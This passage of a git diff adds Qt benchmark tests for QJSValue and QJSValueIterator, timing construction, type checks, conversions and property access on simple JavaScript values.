--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsvalue/qjsvalue.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_qjsvalue
+
+SOURCES += tst_qjsvalue.cpp
+
+QT += declarative
diff --git a/tests/benchmarks/declarative/js/qjsvalue/tst_qjsvalue.cpp b/tests/benchmarks/declarative/js/qjsvalue/tst_qjsvalue.cpp
new file mode 100644
index 0000000000..afe6d1c4db
--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsvalue/tst_qjsvalue.cpp
@@ -0,0 +1,1061 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative/qjsvalue.h>
+#include <QtDeclarative/qjsengine.h>
+
+Q_DECLARE_METATYPE(QJSValue)
+
+//TESTED_FILES=
+
+class tst_QJSValue : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_QJSValue();
+ virtual ~tst_QJSValue();
+
+public slots:
+ void init();
+ void cleanup();
+
+private slots:
+ void boolConstructor();
+ void floatConstructor();
+ void numberConstructor();
+ void stringConstructor();
+ void nullConstructor();
+ void undefinedConstructor();
+ void boolConstructorWithEngine();
+ void floatConstructorWithEngine();
+ void intConstructorWithEngine();
+ void stringConstructorWithEngine();
+ void nullConstructorWithEngine();
+ void undefinedConstructorWithEngine();
+ void copyConstructor_data();
+ void copyConstructor();
+ void call_data();
+ void call();
+ void construct_data();
+ void construct();
+#if 0 // no data
+ void data();
+ void setData();
+ void data_noData_data();
+ void data_noData();
+#endif
+ void engine_data();
+ void engine();
+ void equalsSelf_data();
+ void equalsSelf();
+#if 0 // no less then
+ void lessThanSelf_data();
+ void lessThanSelf();
+#endif
+ void strictlyEqualsSelf_data();
+ void strictlyEqualsSelf();
+ void instanceOf();
+ void isArray_data();
+ void isArray();
+ void isBool_data();
+ void isBool();
+ void isDate_data();
+ void isDate();
+ void isError_data();
+ void isError();
+ void isFunction_data();
+ void isFunction();
+ void isNull_data();
+ void isNull();
+ void isNumber_data();
+ void isNumber();
+ void isObject_data();
+ void isObject();
+#if 0 // no qmetaobject
+ void isQMetaObject_data();
+ void isQMetaObject();
+#endif
+ void isQObject_data();
+ void isQObject();
+ void isRegExp_data();
+ void isRegExp();
+ void isString_data();
+ void isString();
+ void isUndefined_data();
+ void isUndefined();
+ void isValid_data();
+ void isValid();
+ void isVariant_data();
+ void isVariant();
+ void toBool_data();
+ void toBool();
+ void toDateTime_data();
+ void toDateTime();
+ void toInt32_data();
+ void toInt32();
+ void toInteger_data();
+ void toInteger();
+ void toNumber_data();
+ void toNumber();
+ void toRegExp_data();
+ void toRegExp();
+ void toString_data();
+ void toString();
+ void toUInt16_data();
+ void toUInt16();
+ void toUInt32_data();
+ void toUInt32();
+#if 0 // no qmetaobject
+ void toQMetaObject_data();
+ void toQMetaObject();
+#endif
+ void toQObject_data();
+ void toQObject();
+ void toVariant_data();
+ void toVariant();
+ void property_data();
+ void property();
+#if 0 // no string handle
+ void propertyById_data();
+ void propertyById();
+#endif
+ void propertyByIndex();
+ void setProperty_data();
+ void setProperty();
+#if 0 // no string handle
+ void setPropertyById_data();
+ void setPropertyById();
+#endif
+ void setPropertyByIndex();
+#if 0 // no propertyFlags for now
+ void propertyFlags_data();
+ void propertyFlags();
+ void propertyFlagsById_data();
+ void propertyFlagsById();
+#endif
+ void prototype_data();
+ void prototype();
+ void setPrototype();
+#if 0 // no script class
+ void scriptClass_data();
+ void scriptClass();
+ void setScriptClass();
+#endif
+#if 0 // no string handle
+ void readMetaProperty();
+ void writeMetaProperty();
+#endif
+
+private:
+ void defineStandardTestValues();
+ void newEngine()
+ {
+ delete m_engine;
+ m_engine = new QJSEngine;
+ }
+
+ QJSEngine *m_engine;
+};
+
+tst_QJSValue::tst_QJSValue()
+ : m_engine(0)
+{
+}
+
+tst_QJSValue::~tst_QJSValue()
+{
+ delete m_engine;
+}
+
+void tst_QJSValue::init()
+{
+}
+
+void tst_QJSValue::cleanup()
+{
+}
+
+void tst_QJSValue::boolConstructor()
+{
+ QBENCHMARK {
+ QJSValue val(true);
+ }
+}
+
+void tst_QJSValue::floatConstructor()
+{
+ QBENCHMARK {
+ QJSValue val(123.0);
+ }
+}
+
+void tst_QJSValue::numberConstructor()
+{
+ QBENCHMARK {
+ (void)QJSValue(123);
+ }
+}
+
+void tst_QJSValue::stringConstructor()
+{
+ QString str = QString::fromLatin1("ciao");
+ QBENCHMARK {
+ (void)QJSValue(str);
+ }
+}
+
+void tst_QJSValue::nullConstructor()
+{
+ QBENCHMARK {
+ QJSValue val(QJSValue::NullValue);
+ }
+}
+
+void tst_QJSValue::undefinedConstructor()
+{
+ QBENCHMARK {
+ QJSValue val(QJSValue::UndefinedValue);
+ }
+}
+
+void tst_QJSValue::boolConstructorWithEngine()
+{
+ newEngine();
+ QBENCHMARK {
+ QJSValue val(m_engine, true);
+ }
+}
+
+void tst_QJSValue::floatConstructorWithEngine()
+{
+ newEngine();
+ QBENCHMARK {
+ QJSValue val(m_engine, 123.0);
+ }
+}
+
+void tst_QJSValue::intConstructorWithEngine()
+{
+ newEngine();
+ QBENCHMARK {
+ (void)QJSValue(m_engine, 123);
+ }
+}
+
+void tst_QJSValue::stringConstructorWithEngine()
+{
+ newEngine();
+ QString str = QString::fromLatin1("ciao");
+ QBENCHMARK {
+ (void)QJSValue(m_engine, str);
+ }
+}
+
+void tst_QJSValue::nullConstructorWithEngine()
+{
+ newEngine();
+ QBENCHMARK {
+ QJSValue val(m_engine, QJSValue::NullValue);
+ }
+}
+
+void tst_QJSValue::undefinedConstructorWithEngine()
+{
+ newEngine();
+ QBENCHMARK {
+ QJSValue val(m_engine, QJSValue::UndefinedValue);
+ }
+}
+
+void tst_QJSValue::copyConstructor_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::copyConstructor()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ QJSValue copy(val);
+ }
+}
+
+void tst_QJSValue::call_data()
+{
+ newEngine();
+ QTest::addColumn<QString>("code");
+ QTest::newRow("empty function") << QString::fromLatin1("(function(){})");
+ QTest::newRow("function returning number") << QString::fromLatin1("(function(){ return 123; })");
+ QTest::newRow("closure") << QString::fromLatin1("(function(a, b){ return function() { return a + b; }; })(1, 2)");
+}
+
+void tst_QJSValue::call()
+{
+ QFETCH(QString, code);
+ QJSValue fun = m_engine->evaluate(code);
+ QVERIFY(fun.isFunction());
+ QBENCHMARK {
+ (void)fun.call();
+ }
+}
+
+void tst_QJSValue::construct_data()
+{
+ newEngine();
+ QTest::addColumn<QString>("code");
+ QTest::newRow("empty function") << QString::fromLatin1("(function(){})");
+ QTest::newRow("simple constructor") << QString::fromLatin1("(function(){ this.x = 10; this.y = 20; })");
+}
+
+void tst_QJSValue::construct()
+{
+ QFETCH(QString, code);
+ QJSValue fun = m_engine->evaluate(code);
+ QVERIFY(fun.isFunction());
+ QBENCHMARK {
+ (void)fun.construct();
+ }
+}
+
+#if 0
+void tst_QJSValue::data()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ obj.setData(QJSValue(m_engine, 123));
+ QBENCHMARK {
+ obj.data();
+ }
+}
+
+void tst_QJSValue::setData()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSValue val(m_engine, 123);
+ QBENCHMARK {
+ obj.setData(val);
+ }
+}
+
+void tst_QJSValue::data_noData_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::data_noData()
+{
+ QFETCH(QJSValue, val);
+ QVERIFY(!val.data().isValid());
+ QBENCHMARK {
+ val.data();
+ }
+}
+#endif
+
+void tst_QJSValue::engine_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::engine()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.engine();
+ }
+}
+
+void tst_QJSValue::equalsSelf_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::equalsSelf()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.equals(val);
+ }
+}
+
+#if 0
+void tst_QJSValue::lessThanSelf_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::lessThanSelf()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.lessThan(val);
+ }
+}
+#endif
+
+void tst_QJSValue::strictlyEqualsSelf_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::strictlyEqualsSelf()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.strictlyEquals(val);
+ }
+}
+
+void tst_QJSValue::instanceOf()
+{
+ newEngine();
+ QJSValue arrayCtor = m_engine->globalObject().property("Array");
+ QJSValue array = arrayCtor.construct();
+ QVERIFY(array.instanceOf(arrayCtor));
+ QBENCHMARK {
+ array.instanceOf(arrayCtor);
+ }
+}
+
+void tst_QJSValue::isArray_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isArray()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isArray();
+ }
+}
+
+void tst_QJSValue::isBool_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isBool()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isBool();
+ }
+}
+
+void tst_QJSValue::isDate_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isDate()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isDate();
+ }
+}
+
+void tst_QJSValue::isError_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isError()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isError();
+ }
+}
+
+void tst_QJSValue::isFunction_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isFunction()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isFunction();
+ }
+}
+
+void tst_QJSValue::isNull_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isNull()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isNull();
+ }
+}
+
+void tst_QJSValue::isNumber_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isNumber()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isNumber();
+ }
+}
+
+void tst_QJSValue::isObject_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isObject();
+ }
+}
+
+#if 0
+void tst_QJSValue::isQMetaObject_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isQMetaObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isQMetaObject();
+ }
+}
+#endif
+
+void tst_QJSValue::isQObject_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isQObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isQObject();
+ }
+}
+
+void tst_QJSValue::isRegExp_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isRegExp()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isRegExp();
+ }
+}
+
+void tst_QJSValue::isString_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isString()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isString();
+ }
+}
+
+void tst_QJSValue::isUndefined_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isUndefined()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isUndefined();
+ }
+}
+
+void tst_QJSValue::isValid_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isValid()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isValid();
+ }
+}
+
+void tst_QJSValue::isVariant_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::isVariant()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.isVariant();
+ }
+}
+
+void tst_QJSValue::toBool_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toBool()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toBool();
+ }
+}
+
+void tst_QJSValue::toDateTime_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toDateTime()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toDateTime();
+ }
+}
+
+void tst_QJSValue::toInt32_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toInt32()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toInt32();
+ }
+}
+
+void tst_QJSValue::toInteger_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toInteger()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toInteger();
+ }
+}
+
+void tst_QJSValue::toNumber_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toNumber()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toNumber();
+ }
+}
+
+void tst_QJSValue::toRegExp_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toRegExp()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toRegExp();
+ }
+}
+
+void tst_QJSValue::toString_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toString()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ (void)val.toString();
+ }
+}
+
+#if 0
+void tst_QJSValue::toQMetaObject_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toQMetaObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toQMetaObject();
+ }
+}
+#endif
+
+void tst_QJSValue::toQObject_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toQObject()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ (void)val.toQObject();
+ }
+}
+
+void tst_QJSValue::toUInt16_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toUInt16()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toUInt16();
+ }
+}
+
+void tst_QJSValue::toUInt32_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toUInt32()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toUInt32();
+ }
+}
+
+void tst_QJSValue::toVariant_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::toVariant()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.toVariant();
+ }
+}
+void tst_QJSValue::property_data()
+{
+ QTest::addColumn<QString>("propertyName");
+ QTest::addColumn<bool>("create");
+ QTest::newRow("foo") << QString::fromLatin1("foo") << true;
+ QTest::newRow("hasOwnProperty") << QString::fromLatin1("hasOwnProperty") << false; // From Object.prototype.
+ QTest::newRow("noSuchProperty") << QString::fromLatin1("noSuchProperty") << false;
+}
+
+void tst_QJSValue::property()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(bool, create);
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ if (create)
+ obj.setProperty(propertyName, 123);
+ QBENCHMARK {
+ (void)obj.property(propertyName);
+ }
+}
+
+#if 0
+void tst_QJSValue::propertyById_data()
+{
+ property_data();
+}
+
+void tst_QJSValue::propertyById()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(bool, create);
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSString id = m_engine->toStringHandle(propertyName);
+ if (create)
+ obj.setProperty(id, 123);
+ QBENCHMARK {
+ obj.property(id);
+ }
+}
+#endif
+
+void tst_QJSValue::propertyByIndex()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ obj.setProperty(123, 456);
+ QBENCHMARK {
+ obj.property(123);
+ }
+}
+
+void tst_QJSValue::setProperty_data()
+{
+ newEngine();
+ QTest::addColumn<QString>("propertyName");
+ QTest::addColumn<QJSValue>("val");
+ QTest::newRow("foo") << QString::fromLatin1("foo") << QJSValue(123);
+ QTest::newRow("bar") << QString::fromLatin1("bar") << QJSValue(m_engine, 123);
+ QTest::newRow("baz") << QString::fromLatin1("baz") << QJSValue();
+ QTest::newRow("toString") << QString::fromLatin1("toString") << QJSValue(m_engine, true);
+}
+
+void tst_QJSValue::setProperty()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(QJSValue, val);
+ QJSValue obj = m_engine->newObject();
+ QBENCHMARK {
+ obj.setProperty(propertyName, val);
+ }
+}
+
+#if 0
+void tst_QJSValue::setPropertyById_data()
+{
+ setProperty_data();
+}
+
+void tst_QJSValue::setPropertyById()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(QJSValue, val);
+ QJSValue obj = m_engine->newObject();
+ QJSString id = m_engine->toStringHandle(propertyName);
+ QBENCHMARK {
+ obj.setProperty(id, val);
+ }
+}
+#endif
+
+void tst_QJSValue::setPropertyByIndex()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSValue val(456);
+ QBENCHMARK {
+ obj.setProperty(123, 456);
+ }
+}
+
+#if 0
+void tst_QJSValue::propertyFlags_data()
+{
+ property_data();
+}
+
+void tst_QJSValue::propertyFlags()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(bool, create);
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ if (create)
+ obj.setProperty(propertyName, 123, QJSValue::SkipInEnumeration | QJSValue::ReadOnly);
+ QBENCHMARK {
+ (void)obj.propertyFlags(propertyName);
+ }
+}
+
+void tst_QJSValue::propertyFlagsById_data()
+{
+ propertyFlags_data();
+}
+
+void tst_QJSValue::propertyFlagsById()
+{
+ QFETCH(QString, propertyName);
+ QFETCH(bool, create);
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSString id = m_engine->toStringHandle(propertyName);
+ if (create)
+ obj.setProperty(id, 123, QJSValue::SkipInEnumeration | QJSValue::ReadOnly);
+ QBENCHMARK {
+ obj.propertyFlags(id);
+ }
+}
+#endif
+
+void tst_QJSValue::prototype_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::prototype()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.prototype();
+ }
+}
+
+void tst_QJSValue::setPrototype()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSValue proto = m_engine->newObject();
+ QBENCHMARK {
+ obj.setPrototype(proto);
+ }
+}
+
+#if 0
+void tst_QJSValue::scriptClass_data()
+{
+ defineStandardTestValues();
+}
+
+void tst_QJSValue::scriptClass()
+{
+ QFETCH(QJSValue, val);
+ QBENCHMARK {
+ val.scriptClass();
+ }
+}
+
+void tst_QJSValue::setScriptClass()
+{
+ newEngine();
+ QJSValue obj = m_engine->newObject();
+ QJSClass cls(m_engine);
+ QBENCHMARK {
+ obj.setScriptClass(&cls);
+ }
+}
+
+void tst_QJSValue::readMetaProperty()
+{
+ newEngine();
+ QJSValue object = m_engine->newQObject(QCoreApplication::instance());
+ QJSString propertyName = m_engine->toStringHandle("objectName");
+ QBENCHMARK {
+ for (int i = 0; i < 10000; ++i)
+ object.property(propertyName);
+ }
+}
+
+void tst_QJSValue::writeMetaProperty()
+{
+ newEngine();
+ QJSValue object = m_engine->newQObject(QCoreApplication::instance());
+ QJSString propertyName = m_engine->toStringHandle("objectName");
+ QJSValue value(m_engine, "foo");
+ QBENCHMARK {
+ for (int i = 0; i < 10000; ++i)
+ object.setProperty(propertyName, value);
+ }
+}
+#endif
+
+void tst_QJSValue::defineStandardTestValues()
+{
+ newEngine();
+ QTest::addColumn<QJSValue>("val");
+ QTest::newRow("bool") << m_engine->evaluate("true");
+ QTest::newRow("number") << m_engine->evaluate("123");
+ QTest::newRow("string") << m_engine->evaluate("'ciao'");
+ QTest::newRow("null") << m_engine->evaluate("null");
+ QTest::newRow("undefined") << m_engine->evaluate("undefined");
+ QTest::newRow("object") << m_engine->evaluate("({foo:123})");
+ QTest::newRow("array") << m_engine->evaluate("[10,20,30]");
+ QTest::newRow("function") << m_engine->evaluate("(function foo(a, b, c) { return a + b + c; })");
+ QTest::newRow("date") << m_engine->evaluate("new Date");
+ QTest::newRow("regexp") << m_engine->evaluate("new RegExp('foo')");
+ QTest::newRow("error") << m_engine->evaluate("new Error");
+
+ QTest::newRow("qobject") << m_engine->newQObject(this);
+#if 0 // no qmetaobject
+ QTest::newRow("qmetaobject") << m_engine->newQMetaObject(&QJSEngine::staticMetaObject);
+#endif
+ QTest::newRow("variant") << m_engine->newVariant(123);
+#if 0 // no classess
+ QTest::newRow("qscriptclassobject") << m_engine->newObject(new QJSClass(m_engine));
+#endif
+
+ QTest::newRow("invalid") << QJSValue();
+ QTest::newRow("bool-no-engine") << QJSValue(true);
+ QTest::newRow("number-no-engine") << QJSValue(123.0);
+ QTest::newRow("string-no-engine") << QJSValue(QString::fromLatin1("hello"));
+ QTest::newRow("null-no-engine") << QJSValue(QJSValue::NullValue);
+ QTest::newRow("undefined-no-engine") << QJSValue(QJSValue::UndefinedValue);
+}
+
+QTEST_MAIN(tst_QJSValue)
+#include "tst_qjsvalue.moc"
diff --git a/tests/benchmarks/declarative/js/qjsvalueiterator/qjsvalueiterator.pro b/tests/benchmarks/declarative/js/qjsvalueiterator/qjsvalueiterator.pro
new file mode 100644
index 0000000000..a114b863f6
--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsvalueiterator/qjsvalueiterator.pro
@@ -0,0 +1,7 @@
+load(qttest_p4)
+TEMPLATE = app
+TARGET = tst_bench_qjsvalueiterator
+
+SOURCES += tst_qjsvalueiterator.cpp
+
+QT = core declarative
diff --git a/tests/benchmarks/declarative/js/qjsvalueiterator/tst_qjsvalueiterator.cpp b/tests/benchmarks/declarative/js/qjsvalueiterator/tst_qjsvalueiterator.cpp
new file mode 100644
index 0000000000..8b4921cf8e
--- /dev/null
+++ b/tests/benchmarks/declarative/js/qjsvalueiterator/tst_qjsvalueiterator.cpp
@@ -0,0 +1,311 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative/qjsengine.h>
+#include <QtDeclarative/qjsvalue.h>
+#include <QtDeclarative/qjsvalueiterator.h>
+
+//TESTED_FILES=
+
+class tst_QJSValueIterator : public QObject
+{
+ Q_OBJECT
+
+public:
+ tst_QJSValueIterator();
+ virtual ~tst_QJSValueIterator();
+
+ void dataHelper();
+
+private slots:
+ void init();
+ void cleanup();
+
+ void hasNextAndNext();
+
+ void constructAndNext_data();
+ void constructAndNext();
+
+ void name_data();
+ void name();
+#if 0 // No string handle
+ void scriptName_data();
+ void scriptName();
+#endif
+
+ void value_data();
+ void value();
+#if 0 // no setValue
+ void setValue_data();
+ void setValue();
+#endif
+#if 0 // no flags
+ void flags();
+#endif
+
+#if 0 // no array index
+ void iterateArrayAndConvertNameToIndex();
+#endif
+#if 0 // no setValue
+ void iterateArrayAndDoubleElements();
+#endif
+#if 0 // no remove
+ void iterateArrayAndRemoveAllElements();
+#endif
+};
+
+tst_QJSValueIterator::tst_QJSValueIterator()
+{
+}
+
+tst_QJSValueIterator::~tst_QJSValueIterator()
+{
+}
+
+void tst_QJSValueIterator::init()
+{
+}
+
+void tst_QJSValueIterator::cleanup()
+{
+}
+
+void tst_QJSValueIterator::dataHelper()
+{
+ QTest::addColumn<QString>("code");
+ QTest::newRow("{ foo: 123 }") << QString::fromLatin1("({ foo: 123 })");
+ QTest::newRow("Math") << QString::fromLatin1("Math");
+ QTest::newRow("Array.prototype") << QString::fromLatin1("Array.prototype");
+ QTest::newRow("Global Object") << QString::fromLatin1("this");
+ QTest::newRow("['foo']") << QString::fromLatin1("['foo']");
+ QTest::newRow("array with 1000 elements")
+ << QString::fromLatin1("(function() {"
+ " var a = new Array;"
+ " for (i = 0; i < 1000; ++i)"
+ " a[i] = i;"
+ " return a;"
+ "})()");
+}
+
+void tst_QJSValueIterator::hasNextAndNext()
+{
+ QJSEngine engine;
+ QJSValue object = engine.newObject();
+ for (int i = 0; i < 2000; ++i)
+ object.setProperty(i, i);
+ QBENCHMARK {
+ for (int i = 0; i < 1000; ++i) {
+ QJSValueIterator it(object);
+ while (it.hasNext())
+ it.next();
+ }
+ }
+}
+
+void tst_QJSValueIterator::constructAndNext_data()
+{
+ dataHelper();
+}
+
+void tst_QJSValueIterator::constructAndNext()
+{
+ QFETCH(QString, code);
+ QJSEngine engine;
+ QJSValue object = engine.evaluate(code);
+ Q_ASSERT(object.isObject());
+
+ QBENCHMARK {
+ for (int i = 0; i < 100; ++i) {
+ QJSValueIterator it(object);
+ it.next();
+ }
+ }
+}
+
+void tst_QJSValueIterator::name_data()
+{
+ dataHelper();
+}
+
+void tst_QJSValueIterator::name()
+{
+ QFETCH(QString, code);
+ QJSEngine engine;
+ QJSValue object = engine.evaluate(code);
+ Q_ASSERT(object.isObject());
+
+ QJSValueIterator it(object);
+ it.next();
+ QBENCHMARK {
+ for (int i = 0; i < 200000; ++i)
+ it.name();
+ }
+}
+
+#if 0
+void tst_QJSValueIterator::scriptName_data()
+{
+ dataHelper();
+}
+
+void tst_QJSValueIterator::scriptName()
+{
+ QFETCH(QString, code);
+ QJSEngine engine;
+ QJSValue object = engine.evaluate(code);
+ Q_ASSERT(object.isObject());
+
+ QJSValueIterator it(object);
+ it.next();
+ QBENCHMARK {
+ for (int i = 0; i < 50000; ++i)
+ it.scriptName();
+ }
+}
+#endif
+
+void tst_QJSValueIterator::value_data()
+{
+ dataHelper();
+}
+
+void tst_QJSValueIterator::value()
+{
+ QFETCH(QString, code);
+ QJSEngine engine;
+ QJSValue object = engine.evaluate(code);
+ Q_ASSERT(object.isObject());
+
+ QJSValueIterator it(object);
+ it.next();
+ QBENCHMARK {
+ for (int i = 0; i < 50000; ++i)
+ it.value();
+ }
+}
+
+#if 0
+void tst_QJSValueIterator::setValue_data()
+{
+ dataHelper();
+}
+
+void tst_QJSValueIterator::setValue()
+{
+ QFETCH(QString, code);
+ QJSEngine engine;
+ QJSValue object = engine.evaluate(code);
+ Q_ASSERT(object.isObject());
+
+ QJSValueIterator it(object);
+ it.next();
+ QJSValue newValue(&engine, 456);
+ QBENCHMARK {
+ for (int i = 0; i < 50000; ++i)
+ it.setValue(newValue);
+ }
+}
+
+void tst_QJSValueIterator::flags()
+{
+ QJSEngine engine;
+ QJSValue object = engine.newObject();
+ QJSValue::PropertyFlags flags = flags;
+ object.setProperty("foo", 123, QJSValue::SkipInEnumeration | QJSValue::ReadOnly | QJSValue::Undeletable);
+ QJSValueIterator it(object);
+ it.next();
+ QBENCHMARK {
+ for (int i = 0; i < 50000; ++i)
+ it.flags();
+ }
+}
+#endif
+
+#if 0
+void tst_QJSValueIterator::iterateArrayAndConvertNameToIndex()
+{
+ QJSEngine engine;
+ QJSValue array = engine.newArray();
+ for (int i = 0; i < 20000; ++i)
+ array.setProperty(i, i);
+ QBENCHMARK {
+ QJSValueIterator it(array);
+ while (it.hasNext()) {
+ it.next();
+ it.scriptName().toArrayIndex();
+ }
+ }
+}
+
+void tst_QJSValueIterator::iterateArrayAndDoubleElements()
+{
+ QJSEngine engine;
+ QJSValue array = engine.newArray();
+ for (int i = 0; i < 20000; ++i)
+ array.setProperty(i, i);
+ QBENCHMARK {
+ QJSValueIterator it(array);
+ while (it.hasNext()) {
+ it.next();
+ it.setValue(QJSValue(&engine, it.value().toNumber() * 2));
+ }
+ }
+}
+
